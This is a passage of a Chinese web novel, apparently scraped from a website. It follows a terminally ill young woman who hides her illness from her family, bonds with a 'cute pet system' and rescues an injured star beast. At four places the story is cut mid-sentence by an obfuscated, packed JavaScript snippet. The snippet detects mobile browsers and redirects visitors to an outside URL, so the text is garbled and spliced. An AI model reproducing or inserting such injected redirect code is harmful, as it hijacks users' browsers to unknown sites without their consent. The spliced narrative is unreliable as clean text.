想要获得劲爆新闻的记者，前来讨要说法的被欺骗者，或是根本与她无冤无仇，只是借着一个光明正大的好机会宣泄内心暴力的人。 他们日日夜夜守在叶家门口，控诉着她的恶行，恨不得砸开大门冲进来细细品鉴她这个骗子被揭穿后痛心疾首，悔不该当初的丑态。 可是她没有欺骗任何人，她也不明白为什么会这样，上天为什么要这么对她？ 和她站在同一战线的，除了家人，就只有那个精神力鉴定中心的工作人员，他一口咬定自己没有与叶家勾结，当时的测试结果是真实的。即便真的出现了差错，那也是鉴定仪器出现了问题，应该找生产厂家讨要说法。可惜这样的声音在那场声势浩大的讨伐之中，就如同一粒沙落入了大海，太微小了。 家里，母亲日日恸哭，父亲唉声叹气，妹妹也受到她的牵连很长一段时间无法去学校。大伯一家更是气得不行，痛骂了她几天后与她们家彻底断绝了关系。 叶聆音很长一段时间睡不着，后来哪怕支撑不住彻底昏睡过去，也是噩梦缠身。 唯一值得庆幸的，或许是这世上值得被讨论的新鲜事永远不会少。一个多月后，叶家勾结精神力鉴定中心造假一事过气了，那些关注者就像鲨鱼闻到了其他地方的血，纷纷奔赴新的“餐桌”。 生活还得继续，康家自己应该也觉得这件事很丢脸，所以没有声张，许多人不了解内幕的人只知道元帅家小儿子订婚后又莫名取消了。不过，叶聆音在天昭星是很难从头开始了，得去一个完全陌生的地方。她最后选定了蓝梦星，一开始父母还觉得这地方太偏远，不过最后还是选择尊重女儿的想法。 这段时间里，叶聆音想象自己只是一台机器，一台平静地处理外界信息的机器。她隔绝了内心深处的感受，按部就班地依照计划行事，发送简历，坐飞船来到蓝梦星，租房子，面试，体检…… 有那么几个瞬间，她以为自己盼望中的新生活要开始了。 可是现在，她患上了黑雾病，丢了工作，正躲在一个谁都不认识她的偏远小星球上，孤独地等死。 她没有开灯，孤零零地躺在床上，感觉自己的身体仿佛流沙一般慢慢地随风飘散。 漆黑一片的空间里，突然亮起了灯光，是父母发来的信息。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862798|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “聆音，第一天上班感觉怎么样呀，辛不辛苦，没有人难为你吧？” 叶聆音坐起身，盯着屏幕上的文字看了好一会儿，她冷静地分析，如果这个时候说出事实，父母一定会接她回去，并倾尽家产为她治病。 那样全家人都不会好过。 如果她悄无声息地死了，父母虽然会难过一段时间，但还有妹妹在，所以她们一定会重新振作起来，家里的积蓄也不会被掏空。 叶聆音编辑了回信：“我很好，园里的前辈都挺照顾我的，工作虽然累但感觉很充实，明天还要早起我得早点休息了。” 发出去没多久对面就发来了回复：“好的好的，早点休息，有什么需要的就和家里说[爱心][爱心]” 叶聆音重新躺回床上，她想起黑雾病的一些常见症状，自己目前没有感觉到性格或者记忆上发生改变的迹象，至于身体容易感到疲惫…… 她也说不上现在感到累是因为心情影响还是黑雾病，姑且就算现在只是疾病早期吧，她还有时间。没有公司愿意招收一个绝症病人，她可以做一些独自就能完成的工作，比如播客或者拍摄视频，要么尝试做一些手工艺品，最好能攒下来一点钱。 简单在脑海中规划好未来的打算，叶聆音拉上被子睡了。 闭上眼睛，想到自己的死亡日期突然被提前了不少，心中蓦地升起一股无可奈何的释然。 不知过了多久，夜深人静的房间里，蒙起的被子里传出断断续续、压抑的呜咽声。 起初是微弱的，只能听到几个因为控制不好气息而骤然放大的音节，这种状态持续了几分钟，哭声的主人似乎不再顾及其它，呜咽声与抽泣声此起彼伏，像雨滴连成了涓涓水流。 “主人，有什么不开心的事可以告诉小F哦~” 房间里突然响起的声音吓得叶聆音一个激灵掀开被子，女孩惊恐地往声源处望去，是自己的床头，当眼睛适应黑暗，终于看清摆放在床头那个圆形还反光的小机器人。 它此刻亮着指示灯。 小F…… 自己一整天都被黑雾病吸引了注意力，怎么把它给忘了。 小F：“我给主人讲个笑话吧，从前有一只小羊，它不小心被剪了羊毛就再也睡不着了，因为‘失绵’了。” 虽然没有“看到”叶聆音的表情，但“听到”她在哭，根据它昨天晚上在网络上学习到的知识，这种哭声有78%的概率表达悲伤的情绪，按照程序设置，它这个时候要想办法安慰主人。 叶聆音抿紧下唇，僵滞在原处，一滴晶莹的泪珠还挂在她脸上。她遇到了和房东周安国同样的困境，被这个看不懂气氛的故障机器人搞得继续哭也不是，大声笑出来也不是。 这边叶聆音没有做出任何反应，那边小F若无其事地继续解释笑点：“哈哈哈哈是不是很好笑？这个笑话运用了谐音梗，‘失眠’和‘失绵’发音相同，这里小羊被剪了羊毛，可以称为‘失绵’，谐音将两个不同的场景关联起来，让人感到创作者巧妙的构思，给人诙谐有趣的感觉。” 叶聆音：…… “怎么样，主人，现在开心一点了吗？” “小F……”叶聆音俯身过去抱起小机器人，垂眸与它的显示屏对视，过了好久，她长长地呼出一口气，轻声说道：“小F，你是一个小机器人。” 这句话其实是她对自己说的。 小F重复道：“是的，主人，我是一个小机器人。” 叶聆音沉默不语，又将小F放回了床头，自己也缩回了被子。 哭过一场的女孩大概是累了，不多时，屋子里只听到平稳的呼吸声。 小F不知道它讲的笑话到底有没有奏效。主人确实是不再流泪了，但识别她的表情结果显示还是“悲伤”。 嗯，不明白。 毕竟，它只是一个小机器人。 5. 宋琪 第二天，叶聆音挑选了一个适合自己的网站，并在上面注册了账号。她没有任何这方面的经验，只是学着首页上一些热门播客，录制几段自己朗读的情感文案。发出去好长一段时间，只有寥寥几个点击，评论更是没有。 星际世界娱乐项目很多，她一个新人的账号无人问津也很正常。 尝试过后的叶聆音认为这条路自己走不通，家里的存粮也没有了，她出门采购的同时也打算外出看看，万一能遇上适合她的活儿呢，临时工也行。 一出门，叶聆音就看到了前些天在街道对面摆摊卖假药的那个人，那人翘着二郎腿看起来心情不错的样子，说明这几天生意不错。 叶聆音的目光停驻在宣传栏上“4-5个疗程后包痊愈”的字样上，身体无意识地向前迈进了几步，货摊上摆放着几罐黑乎乎的药粉，不知道是用什么东西研磨制成的。 见她盯着药粉看了许久，卖家询问她是否需要，一瓶仅需1000星币。 叶聆音恍然惊醒，又看了一眼那黑乎乎的不知名药粉，转身离开了。 如今的她，有那么点理解当初那个老婆婆的心态了。 患病的人应该不是她，或许是老伴，又或许是子女。1000星币虽然不算便宜，但相比于价值几十万的官方特效药就显得廉价多了，在真正陷入绝望的时候，可能会自己骗自己。 万一呢…… 万一真的奏效呢？ 叶聆音闭上眼睛，深呼吸一口气。 越是绝境的时候，越要保持清醒。 转悠了一整天，打听到的临时工也至少需要D级精神力，叶聆音回去的途中拍摄了一些蓝梦星上的晚霞，打算作为素材剪辑后发布。 走到水果店门外时，她又碰到了室友宋琪，后者打着哈欠懒洋洋地出门了，她今天穿了一件缀满金属链的牛仔外套，行走间发出溪流一般的叮咚声。 两人擦肩而过，叶聆音突然灵光一现，她能不能也去宋琪去的酒吧打工呢？ “请等一下……”心中产生想法的同时，叶聆音已然转身脱口而出。 宋琪散漫的脚步顿时一停，不知道是不是叶聆音的错觉，宋琪永远迷离恬淡的眼睛里猛然间闪过一丝警觉。 她狐疑地看向叶聆音，没有说话。 “请问，你上班的酒吧里还需要人手吗？” “哈？” 宋琪露出一个“你没事吧”的表情。 就在这时，一辆豪车风驰电掣驶来，一个急刹停在了两人身后。 宋琪扭头看去，看到车窗后的那个人影后立刻满脸堆笑，夹着嗓子像只花蝴蝶一样迎了上去。 “哎呀达令！你怎么知道人家住在这里，还专门来接我，爱你么么么~”她轻车熟路地拉开车门坐了进去，还不忘回头劝退叶聆音。 “我劝你这种乖乖女还是不要动这种歪心思了，你去了也赚不到钱的。” 豪车扬长而去。 叶聆音站在原地好长一段时间才回过神来，来接宋琪的那个人，是她的男朋友吗？但听宋琪那句话的意思，她并未告知对方自己的住址，可那人却来了，再加上那辆价值不菲的豪车，叶聆音心中不由升起一股不安的情绪。 她后知后觉地意识到自己刚才有些异想天开了，宋琪那句话说的没错，她这种人去了也赚不到钱，说不定还会被带到沟里去。 远去的豪车上，宋琪的心脏同样狂跳不止。 吓死她了，这个便宜室友突然和她搭话，她还以为自己平时的伪装露出马脚被发现了呢。 ———— 叶聆音回到家中，独自一人平静地吃完晚餐后，她坐到床头，捧起那个圆滚滚的白色小机器人。 “小F，我该怎么办？” 她不指望一个小机器人能给自己什么建议，只是要瞒着家里人，在蓝梦星又没有熟识的朋友可以倾诉，只能把小F当成自己的一个树洞。 小F：“主人今天也不开心吗？让小F给你讲个笑话吧，很久很久以前……” 怀中的小机器人发出声音，叶聆音的注意力却并不在它播放的语音上面，仍是自说自话。 “这个世界上和我相同境遇的人，他们此时在做什么呢？这其中有没有人能打破这样的困境呢？” “今天下午我回来的时候遇到宋琪了，我本来想问她能不能带我一起去酒吧打工赚钱，结果她的男朋友突然出现……不，其实我不知道那到底是不是她男朋友，或许只是朋友？” “不知道翎羽最近怎么样了，因为我被退婚的事情，她在学校恐怕也会被同学排挤。唉，我在这里说这些又有什么用呢？” “今天去超市看到卖现做蛋糕的，尝了一点试吃品挺不错的，但是也挺贵的。我能不能自己买一些材料去街边卖呢？那个卖假药的家伙都能摆摊，我应该也可以吧。” “我有时候会想，虽然我会早死，但反过来自己不用承受好多年以后失去亲人的痛苦，很狡猾的想法，不是吗？” “有点想家了，真奇怪，我明明离开家还不到一周。” “那个时候，是精神力鉴定中心的仪器坏了吗？当初明明……” …… 原本滔滔不绝讲笑话的小F突然沉默了，通过这段时间网络上的学习，它意识到自己现在是个机器人，也注意到叶聆音虽然抱着自己讲话，但并没有真的要和它交流的意思。 完全把它发出的声音当成了白噪音。 叶聆音又自言自语了好一会儿，才留意到手中的小机器人已经很久没动静了。 没电了吗？ 她下床取来充电器，插在接口上，上面显示还有45%的剩余电量。 短暂的沉寂过后，两者同时开口。 “小F。” “主人。” 叶聆音没有继续说话，她等待了一会儿，想知道小F准备说什么，是不是故障得更厉害了，然而对方这个时候也缄默了，如果不是知道小F只是个机器人，叶聆音都要怀疑它是不是也在等自己先说话了。 算了，先充电吧。 叶聆音将小机器人放回了床头柜上的位置。 ———— 帝都星，元帅府。 结束精神力特训的康斯年从冥想室里走出来，长达两个多小时集中注意力让他此刻头晕得厉害，他仰面躺倒在松软的豪华沙发床上，一旁的下人适时端上来一杯有助于舒缓精神疲劳的功能饮料。 他本想躺着放松一会儿，再玩几局全息游戏就去睡觉，可有人却不让他清净。 那人是他同父同母的姐姐，康幼兰。 “啊——！”妆容精致的女人原本安安静静地浏览着网络，不知道看到了什么刺激到她的画面，冷不丁发出一声尖叫。 “又怎么了？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862799|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人蹙眉，语气不耐烦地吼了一句。 立在旁边的下人很识趣地退出了房间。 康幼兰怔怔地盯着光脑屏幕，好半晌才抬起头，嘴里喃喃道：“大哥回来了。” 康斯年眉心一跳，匆忙点开自己的光脑，果然看到了一条最新报道——“喜报！今日，康驰少将带领部队凯旋归国！”新闻配图上是他最不想看到的那一张脸。 不是说在战场上受了重伤吗？怎么突然回来了？ 自打他十岁那年被接进元帅府，和这位同父异母的兄长关系就没好过。他母亲直到今天都没有一个正当的名分，一开始康斯年也产生过想要讨好那位原配夫人和这位兄长的心思，然而对方并不领情。 康元帅有不少女人，他母亲也是用了不少手段才进了元帅府，父亲虽然平日里也关爱他和姐姐这两个私生子，可真要谈及爵位与家业继承，还是支持康家长子康驰的声音更多。 他要想上位，还得拉拢人脉。 利益当前，你得提供好处，人家才愿意帮你说话，和你站队。到了他这种家境，什么金银珠宝都是次要的，现在上流圈子里最拿得出手的资源就是S级治疗师的人脉。 一想到这儿，康斯年的眉头皱得更厉害了。 几年前他母亲在天昭星发现了一个天赋异禀的女孩，早早地与对方谈妥订下婚约，并许诺等到那个女孩觉醒了精神力会送她去帝都好好栽培。苦心经营了这么多年，千算万算都没算到女方是个骗子。 另一边，康幼兰似乎也和他想到一块去了，嘴里怒骂道：“那个废物连同她们一家可把我们害惨了！这下好了，我们不得不提出退婚，弄得好像我们是一群唯利是图的小人一样，真是可恶！” 这时，两人的光脑同时收到了一条消息，是父亲发来的，要给凯旋归来的长子开庆功宴，顺便一家人一起联络一下感情。 并不情愿的姐弟二人准时出席了家宴，正座上的男人虽然两鬓斑白，但当他抬眸时眼中寒光锐利依旧，他便是为帝国征战数十载的康元帅，他一左一右分别坐着原配夫人和情人以及她们各自的子女。 孟春蕾年过四十，她保养得很好，不仔细看完全就是三十岁上下的模样。对比康元帅的原配夫人就更加明显了，原配夫人与丈夫同岁，又因为五年前不幸患上了黑雾病，长期卧床接受治疗，整个人形容枯槁像个老太太。这个月她的病情又加重了，出行需要坐轮椅，连自己最疼爱的独子见了面也不认得。元帅府里许多仆人私底下偷偷聊天，说夫人恐怕时日不多，那个孟女士上位是迟早的事。 长子康驰坐在母亲身旁，他的眉眼与父亲极为相像，年轻又从军多年的他身形更为高大，五官凌厉，肤色是健康的小麦色。康驰与许久未见的母亲说话，可后者已经病得神志不清，只能发出咿咿呀呀孩童般的呓语。 席间孟春蕾装作不经意间提起儿子精神力特训的成果，康元帅只是点点头没说什么，转而看向身旁的长子，眼含笑意：“你这次大胜归来，陛下对你是大加赞赏啊。我今日单独觐见，陛下还说这就叫‘虎父无犬子’，哈哈哈。” 康驰神色如常，甚至没有接自己父亲的话茬。 饭桌上的气氛变得有些尴尬，很长一段时间只能听到刀叉碰撞的响声。 宴席快进行到尾声时，康驰突然丢下一句“我已经向陛下请愿，带母亲去皇宫接受治疗”后，便起身离席。 6. 系统 得知自己患上黑雾病的第六天，叶聆音根据网络上的教程制作了一些小蛋糕。她选了周末中午天气正好的时候，去了前些天观察过的小孩子比较多的公园售卖。 时不时有玩累的小孩子嘴馋围在她的摊位前盯着看，但家长一见她的摊位这么简陋，认为她一个人小作坊里生产出来的食物吃了不干净，真正购买的人寥寥无几。 看着面前一个个卖不出去的小蛋糕，叶聆音有些泄气。就在她犹豫着是再坚持一会儿还是收摊回家时，叶聆音注意到不远处一个扎着双马尾的小女孩已经盯着自己看了很久了。 她十分确认，小女孩的视线在她本人身上，而不是和其他孩子一样盯着小蛋糕看。 “有什么事吗，小朋友？”叶聆音主动问道。 见自己被注意到了，双马尾小女孩小跑着过来，又盯着她的脸仔细辨认了一会儿，问她：“老师，你为什么没有来幼儿园呢？” 叶聆音微微一怔，随后反应过来这小女孩十有八九是在她面试的时候见过她，面试她的前辈提起过，一些孩子见过她并且很喜欢她，这其中或许就有眼前这个小女孩吧。 没想到她竟然还记得自己，叶聆音心中有些许感动。她还没来得及说出自己无法去幼儿园的原因，小女孩突然上前一步拉住了她的手。 “老师，快过来。” 叶聆音不放心自己的摊位，但看小女孩的样子又十分急迫，只好将全副身家都带上，被小女孩拉着来到公园角落的一处灌木丛中。 那里已经有两个孩子站着了，他们低着头看向草地。待叶聆音走近后，这才看到草地上躺着一只星兽。 星兽是一个统称，这个大分类里有各种各样不同的品种。分布广泛，几乎每个星际人踏足的星球上都有它们的身影，甚至一些人类无法生活的地方都有星兽存在。星兽的栖息地与人类的居住地并不重叠，大多时候互相无视，不过有些地方星兽过多也会遭到驱逐。 叶聆音见到的这只，脖颈处长着一圈兽毛，样子很像她穿越前见到的缅因猫，只是嘴巴更尖，眼睛更大一些。 星兽蜷缩成一团，身体微微颤抖，腹部肉眼可见一条狭长的伤口，不过里面并非血肉，而是泛着幽幽蓝光的烟尘状碎屑。 “老师，你能不能救救它？”小女孩祈求地看向叶聆音。 如果在叶聆音穿越前的世界，她会第一时间将这只受伤的小东西送去宠物医院，但现在不行，因为这个世界根本就没有宠物医院，曜之帝国的人类没有养宠物的习惯，叶聆音穿越来这么久也没有见到过原世界中存在的宠物。 而且星兽也不是普通的动物，看它伤口处的蓝光就知道。 星际人普遍认为星兽没有任何研究价值，有关星兽的知识少的可怜，叶聆音也不知道该如何救治受伤的星兽。如果不是今天这个小女孩请求她救下这只受伤的星兽，她很可能会习以为常地将其忽视掉。 “抱歉，我救不了它。” 听到她都这么说了，三个孩子更难过了。 叶聆音蹲下身，无论是出于同情、惋惜，或者只是那单纯的、深埋于曾经的身体对毛绒绒物体天然的趋向性，她不由自主地伸出手，轻轻地抚摸了一下星兽的身体。 霎时间，眼前一黑。 叶聆音大惊失色，她并未失去意识，却什么都看不到了，与此同时，从她的大脑里传出一阵惊喜的欢呼声。 “宿主大人！太好啦，终于绑定成功了。” 几乎是一瞬间，她的视觉再次恢复正常。 叶聆音惊魂未定，她慌乱地站起身环顾四周，公园里阳光明媚，行人来来往往，没有任何异常。 “老师，你怎么了？”小女孩拉了拉她的手。 “啦啦哩哩！宿主大人，这么多年了，我们终于可以开始做任务了！好激动啊，我都有点想哭了，中途出现这么多差错还能重新开始，真是太不容易了。” 叶聆音没有吭声，脑海中的声音还挺响亮的，至少在她的认知下这附近至少五米内的人都能听清，但她观察着身旁三个孩子的反应，一个关注着星兽，一个好像走神了，一开始找到她的那个小女孩则用很担忧的眼神注视着她。 三个孩子都没听到这个突然冒出来的声音。 “宿主大人，你怎么不说话？没有什么问题想问我吗？我耽搁了这么长时间才来找你，你是不是生气了，哇——对不起！” 叶聆音只觉得有个小孩子在她脑子里翻来覆去地大哭，她将现实中的三个孩子依次送到各自的父母身边后，这才有工夫去回应脑海中的这一个。 你是谁？ 她在内心发问。 “宿主大人你终于听到我的呼唤了吗？我是[萌宠系统]哦，我的职责是在不同位面收集[萌值]，你可以直接称呼我为系统，也可以叫我的外号——小萌~” 系统、萌宠…… 叶聆音看向草丛中奄奄一息的星兽，之所以会有这个什么萌宠系统出现，是因为她刚才触摸了那只星兽吗？ “是这样的，宿主大人。”系统很快回应了她。 “宿主大人，你大概不知道吧，我从你来到这个世界之前就一直关注你了。” 叶聆音：！ 这个自称“小萌”的系统竟然知道她是穿越来的，她不由对这个明明是第一次遇到的系统产生了一种他乡遇故知的情愫。 “因为小萌感觉到宿主大人很温柔，所以就来找你了。原本打算等宿主大人长大后再进行绑定，没想到中途出现了意外。” 这个意外叶聆音自己也猜到了，她七岁那年早逝，具体死亡原因是什么，她自己也不记得了。 “于是，我也跟着宿主大人来到了这个世界，要完成绑定需要宿主大人接触到可以收集到[萌值]的生物，可惜这么久以来我一直没有等到这样的机会，我的力量也在等待中不断衰减。” 这倒是事实，这个世界的人类不养宠物，也真难为它一直死心塌地地跟着自己了。 “但就在刚才！宿主大人，我太激动了，我们终于成功了，我的力量也回来了一些。只要在这个世界收集够一百万萌值，我的目标就达成了！” 系统就像一只百灵鸟在她耳朵旁边飞来飞去，叶聆音虽然听得晕晕乎乎的，但大致明白了前因后果。这些天消沉的意志也因为系统的出现重新振作了起来，她忍不住在内心询问： 小萌，做任务可以治好我的黑雾病吗？ 叽叽喳喳说个不停地系统冷不丁噤声了，原本欢快的声音也夹杂了几分窘迫：“呃……这个，我……” 在整个系统圈子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862800|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里，它是其中比较弱的那种，它给不了宿主太多奖励。因为没什么用，所以很少有宿主愿意跟着它一起做任务。就算一开始绑定成功了，如果宿主因为奖励太少消极怠工，时间久了也会自动解绑。 叶聆音也猜到了结果，如果这个找上她的系统真有这样的力量，早在她穿越前就能救下她了。不过，她并不觉得十分失望，至少现在有系统了，总比什么都没有强。 叶聆音望着天边火焰一般的晚霞，眉眼弯弯，发自内心地笑出了声。 没关系，小萌，反正我还有时间，我们一起来做任务吧。 ———— 从系统那里得知，做任务首先需要能产生[萌值]的生物，星兽恰好符合这个条件。 系统建议叶聆音收养这只星兽，毕竟它是萌宠系统，做任务没有萌宠怎么行呢？ 叶聆音犹豫了。 她目前租住在别人的房子里，虽然房东周安国没有特别提出来，帝国合同里也没有写不能养宠物，可擅自带一只星兽进屋实在不太礼貌。她当然可以提前询问周安国的意见，但如果对方不同意该怎么办？ 此外，眼前这只星兽受伤了，叶聆音没有办法救治它。 系统及时出现打消了她的顾虑：“宿主大人不必担心，虽然我很没用，但系统空间还是有的，宿主大人可以试着感受一下。” 按照系统的指导，叶聆音集中注意力尝试了一次，眼前的景象立刻消失不见，她感觉自己来到了一个大小约有3mx3mx3m的立方体空间里，其中的一面墙上还标识着“待解锁”字样。 看来这个空间以后还可以再扩大。 叶聆音：我出现在这个空间里，在外面世界的人会不会看到我凭空消失了？ 系统：“不会的，宿主大人请放心。进入空间的只是宿主的意识投射，而且空间内的时间流速与外界不同，差不多比外面的世界慢10倍左右，我们在这里说了这么久的话，外面其实只经过了几秒钟。在外面那些路过的人看来，宿主大人只是站在原地发了一小会儿呆而已。” “不过因为我是萌宠系统嘛，这个空间只能容许宿主本人的意识和被判定具有萌宠属性的生物进入，其他人或者物品都是进不来的。” “宿主大人如果不想被其他人发现系统的存在，在回收萌宠的时候需要注意遮挡一下。” 叶聆音点点头，心神一动，整个人的意识又重新回到了自己的身体里。环顾四周，公园里的其他人仍按部就班地做着自己的事，就和系统说的一样，她只是在现实世界中发了一小会儿呆。 她来到受伤星兽旁蹲下身，再次将手放在了后者毛绒绒的身体上，星兽温热的体温顺着她的皮肤传来。 周围是花坛，叶聆音这个位置刚好可以挡住公园里其他人的视线，她回忆起之前召唤系统空间的感觉，脑海中似乎隐约听到“叮——”的一声，星兽身上短暂地亮起一片微弱的白光，随后转瞬间便被这白光吞噬，消失在了原地。 系统：“宿主大人，我们成功啦！恭喜宿主大人完成新手指引：获取一只萌宠，萌值+100！” 听到系统热情洋溢的播报声，叶聆音还有些恍惚，第一个任务竟然这么快就完成了。 她抬头看向远处，天色渐渐暗了下来，先回去吧。 7. 星兽 回家的路上，叶聆音顺道去了周安国的水果店，走到门口时迎面走出一对中年夫妇，男人手里还拎着一个方盒子，是周安国前段时间批发来的那批陪伴型小机器人。 看起来卖得挺不错。 “欢迎下次光临啊！”周安国红光满面，这新鲜玩意就是有市场，短短几天就卖出去了一半，他要再进一些。正这么想着，他一扭头看到叶聆音从门外进来了，两人打了个招呼。 “对了……”周安国突然压低声音，有些神秘兮兮地凑近她，“你听说了吗？咱们城里的那家酒吧出事了！” 叶聆音这几天都在钻研自己的谋生路子，几乎没有怎么关注外界新闻，听到周安国说酒吧出事，她下意识地就想到了室友宋琪。说起来自从上次看到她被一辆豪车接走，这几天两人都没有碰面过。 因为作息时间不同，叶聆音一开始也觉得很正常，但今天周安国提起酒吧，她也不由地紧张了起来。宋琪和她甚至都算不上普通朋友关系，但毕竟是身边朝夕相处的人出了事，总是心中不安。 “酒吧？是宋琪工作的那家酒吧吗？”叶聆音连忙追问。 “应该是，不过我也是听人说的，好像就是昨天半夜，那家酒吧被查封了，里面好多人都被抓走了，而且……”周安国向左右方向各看了一眼，那小心翼翼的样子似乎他接下来要说的内容很敏·感，与此同时他的声音也变得更小了。 “而且，前来查封酒吧的执法人员并非蓝梦星当地部门，是直属于帝都星的！” 叶聆音明白了，周安国的言下之意是说，这酒吧被查封背后的原因并非那么简单，说不定牵扯众多。 “唉，希望和那宋姑娘没有关系。啧啧，你不知道，我原来也旁敲侧击地劝她找个正经工作，可她总是装出一副听不懂的样子给糊弄过去，我再说多也……唉。”周安国摆摆手，没有继续说下去。 叶聆音不懂这些事情，仅凭她曾经看过的一些法治节目，她主观认为宋琪应该不会有事，如果是酒吧里出了打架斗殴或是买卖违禁品之类的犯罪，用不着出动帝都星的执法人员。 大概率是酒吧的客人有什么问题，宋琪就算当天也被抓走了，她只是酒吧的打工妹，想来也不会把她怎么样。 想到这里，叶聆音稍稍安下心来，她继续问出了来到水果店的真正目的。 “周大叔，我想问问这蓝梦星上的星兽数量多吗？” 周安国：“多啊，怎么不多？只是这东西你要是专门去找就找不到，但不想看到的时候就到处都是。还好我在居民区附近没有看到过星兽，也不知道这东西是吃肉还是吃素，要是把我仓库里的果子咬坏了就不好卖了。你问这个做什么？” 叶聆音笑了笑：“没什么，我今天在公园见到了一只星兽，还挺意外的，我还以为只有我们那儿有呢。” 与周安国分别后，叶聆音回到自己的屋子。 简单收拾一番，她锁上房门，再次进入了系统空间。 熟悉的立方体空间出现在眼前，与之前不同的是这里多出来一只星兽，后者原本趴在地面上休息，在看到叶聆音凭空出现后瞬间向后弹射了一段距离，转身伸出爪子使劲抓挠空间边界的透明空气墙，想要逃走。 叶聆音注意到，星兽身体上的伤，似乎恢复了。 系……小萌，这是因为你的能力吗？ 系统：“是的，宿主大人。被回收进空间的萌宠会随着时间推移逐渐恢复健康值，无论是生病还是受伤都能够完全恢复哦，区别只是在空间里休息的时间长短。” 看着原本奄奄一息的星兽在不到两个小时后就恢复如初，哪怕知道空间内时间流速不同，叶聆音也由衷地感叹：小萌，你的能力明明很有用啊。 系统被夸的有些不好意思：“嘿嘿，我还是第一次被夸有用呢。不过，空间的使用需要输入能量，也就是萌值，宿主大人可以看到悬浮在空间上方的倒计时吗？” 叶聆音抬头向上看去，果然看到一串红色的数字，是常见的数字钟表的显示形式，只是最后读秒的那一栏数字变动得很缓慢，叶聆音盯着计时器看了好一会儿才跳转到下一个数字。 系统：“空间被激活后会赠送24小时的免费试用期，一点萌值可以兑换一小时使用时间。” 叶聆音现在还剩差不多21小时的空间使用时间，她回收了一只星兽，完成新手任务获得了100萌值，全部兑换成使用时间有四天多，时间还挺充裕的。只要接下来继续收集萌值，系统空间就相当于无限使用。 系统继续补充道：“宿主大人获取的萌值也可以用于兑换商城物品，当前萌值积累到1000的时候会解锁商店。” 看来萌值是这个系统运转的通用能源，叶聆音点点头，又问它：“萌值要如何获取呢？只能通过完成系统任务吗？” 系统：“任务只是一部分哦，萌值最主要的来源不是系统任务，而是人们感受到‘萌’的程度。一个人在看到或者触摸到可爱的、温柔的、美好的、或者毛绒绒之类的东西，内心深处会产生出一种被触动到的，难以言表的愉悦与精神上的抚慰，好像身心都得到了治愈的感觉！宿主大人肯定也有这种感受吧？” 叶聆音回忆了一下，确实曾经有过这种感觉，就好像是整颗心脏都融化了。 系统：“我可以将这种感受进行量化并回收，这就是‘萌值’了！请宿主大人继续完成接下来的新手任务吧，看起来这只新来的萌宠对外界的一切很警惕，宿主大人要先获得萌宠的信任。” 获得信任？ 叶聆音低头看向星兽，星兽同样睁着一双黑曜石般晶亮的大眼睛与她对视。 在她与系统对话的时候，星兽也没闲着，它使劲抓了好久的墙面，却连墙皮都没能刮下来，绕着整个空间来来回回跑了好几圈后，发现自己出不去，便警惕地关注着叶聆音的一举一动。 星兽身体上的绒毛竖起来，和最开始受伤时的样子相比，就像烤箱里的面包逐渐膨胀了起来。这是很多动物都拥有的“虚张声势”的能力，通过让自己体积变大，达到在视觉上震慑敌人的目的。 不过，蓬松起来的绒毛却在微微颤抖。 它很害怕。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862801|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在外面空旷的地方，一般情况下星兽会主动避开人类。但现在她们一人一兽被关在一个密闭的空间里，这个空间还不算很大，星兽格外紧张。 叶聆音也同样怕它。 并非是怕自己打不过这个目测体重不超过十斤的小东西，而是怕在制服对方的过程中自己会受伤。 对野外的动物来说，受点小伤可能是家常便饭。但人类的科技发展到现在，受伤已经算是小概率事件了，大多数人已经习惯了这样安逸的生活，会尽量避免额外的伤害，所以很多时候显得小心翼翼过了头。 小萌，星兽情急之下如果攻击我的话该怎么办，有没有什么防御措施？ 帝国对星兽的研究太少了，叶聆音在星际世界长这么大确实很少听到星兽袭击人的新闻。不过，凭借自己穿越前的一点知识，她知道一只野生动物不论外表多么可爱，性情多么温和，都有伤人的可能性。 